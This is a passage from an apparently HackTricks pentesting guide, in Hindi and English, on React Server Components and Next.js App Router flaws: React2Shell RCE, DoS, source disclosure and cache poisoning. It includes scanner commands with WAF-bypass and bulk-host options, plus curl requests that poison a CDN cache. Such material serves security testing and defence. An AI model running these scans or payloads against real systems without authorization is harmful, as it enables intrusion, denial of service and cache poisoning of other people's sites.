rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/

• App Router defaults: create-next-app डिफ़ॉल्ट रूप से App Router + app/ डायरेक्टरी को सक्षम करता है, जो चुपचाप हर route को एक RSC-capable endpoint में बदल देता है। App Router assets जैसे /_next/static/chunks/app/ या वे responses जो Flight chunks को text/x-component पर stream करते हैं, मजबूत Internet-facing fingerprints हैं।
• Implicitly vulnerable RSC deployments: React की अपनी advisory में कहा गया है कि RSC runtime भेजने वाले apps exploitable हो सकते हैं even without explicit RSFs, इसलिए react-server-dom-* 19.0.0–19.2.0 का उपयोग करने वाले किसी भी build को suspect मानें।
• Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, आदि वही serializer reuse करते हैं और वही remote attack surface inherit करते हैं जब तक वे patched React builds embed नहीं करते।

Version coverage (React2Shell)

• react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: vulnerable in 19.0.0, 19.1.0–19.1.1 and 19.2.0; patched in 19.0.1, 19.1.2 and 19.2.1 क्रमशः.
• Next.js stable: App Router releases 15.0.0–16.0.6 में vulnerable RSC stack embedded है। Patch trains 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 में fixed deps शामिल हैं, इसलिए इन versions से नीचे वाला कोई भी build high-value माना जाना चाहिए।
• Next.js canary: 14.3.0-canary.77+ भी buggy runtime भेजता है और फिलहाल patched canary drops नहीं हैं, जिससे ये fingerprints strong exploitation candidates बनते हैं।

Remote detection oracle

Assetnote’s react2shell-scanner candidate paths पर एक crafted multipart Flight request भेजता है और server-side व्यवहार को observe करता है:

• Default mode एक deterministic RCE payload execute करता है (math operation जो X-Action-Redirect के माध्यम से reflected होता है) जो code execution साबित करता है।
• --safe-check mode जानबूझकर Flight message को malformed बनाता है ताकि patched servers 200/400 लौटाएँ, जबकि vulnerable targets HTTP/500 responses emit करते हैं जिनके body में E{"digest" substring होता है। वह (500 + digest) जोड़ी फिलहाल defenders द्वारा प्रकाशित सबसे भरोसेमंद remote oracle है।
• Built-in --waf-bypass, --vercel-waf-bypass, and --windows switches payload layout को adjust करते हैं, junk prepend करते हैं, या OS commands swap करते हैं ताकि आप real Internet assets को probe कर सकें।

python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

अन्य हालिया App Router समस्याएँ (देर 2025)

1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – malformed Flight payloads RSC resolver को एक अनंत लूप में फंसा सकतीं हैं (pre-auth DoS) या अन्य क्रियाओं के लिए compiled Server Function code की serialization जबरन कर सकतीं हैं। App Router builds ≥13.3 प्रभावित हैं जब तक पैच न लग जाए; 15.0.x–16.0.x के लिए upstream advisory से specific patch lines चाहिए। Reuse the normal Server Action path लेकिन text/x-component body stream करें जिसमें abusive $ references हों। CDN के पीछे टंगी हुई कनेक्शन cache timeouts के कारण खुली रहती है, जिससे DoS सस्ता हो जाता है।

• Triage tip: Unpatched targets malformed Flight payloads के बाद E{"digest" के साथ 500 लौटाते हैं; patched builds 400/200 लौटाते हैं। किसी भी endpoint को टेस्ट करें जो पहले से Flight chunks stream कर रहा हो (देखें Next-Action headers या text/x-component responses) और modified payload के साथ replay करें।

2. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – missing Vary के कारण एक Accept: text/x-component response cache हो कर उन browsers को serve हो सकता है जो HTML की उम्मीद करते हैं। एक single priming request पेज को raw RSC payloads से बदल सकती है। PoC flow:

# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

यदि दूसरी response HTML की बजाय JSON Flight data लौटाती है, तो route poisonable है। टेस्ट करने के बाद cache purge करें।

References

• Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping
• NextjsServerActionAnalyzer (Burp extension)
• CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
• CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know
• 0xdf – HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)
• assetnote/react2shell-scanner
• Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)
• GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

• सदस्यता योजनाओं की जांच करें!
• हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
• हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।